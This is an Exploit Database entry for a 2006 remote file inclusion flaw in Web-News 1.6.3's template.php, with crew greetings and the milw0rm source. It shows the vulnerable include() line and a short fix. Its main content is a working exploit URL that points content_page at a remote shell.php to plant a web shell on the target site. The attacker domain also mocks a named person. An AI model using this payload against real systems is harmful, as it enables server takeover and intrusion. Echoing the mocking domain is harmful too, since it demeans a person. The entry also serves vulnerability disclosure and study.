Exploit Database - Logo

Web-News 1.6.3 - 'template.php' Remote File Inclusion

EDB-ID: 2419 Author: Drago84 Published: 2006-09-24
CVE: CVE-2006-5053 Type: Webapps Platform: PHP
Aliases: N/A Advisory/Source: N/A Tags: Vulnerability
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: Download Vulnerable Application
« Previous Exploit Next Exploit » 
###### ToXiC #########################
#
#BuG FounD  by Drago84
#
#Application Affect: WebNews
#Source Code:
#http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?use_mirror=superb-west
#Problem:
# <?
#            include($content_page);
# ?>
#Solution : Declare $content_page
#Page Vulnerable : template.php

# Exempe Of ExPloit is:
#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC #########################

# milw0rm.com [2006-09-24]

Related Exploits

Trying to match CVEs (1): CVE-2006-5053
Trying to match OSVDBs (1): 29106
Trying to match setup file: a2d579fc986d06c1b6af0036b24607fb
Other Possible E-DB Search Terms: Web-News 1.6.3,  Web-News
Date D V Title Author
No matches
Menu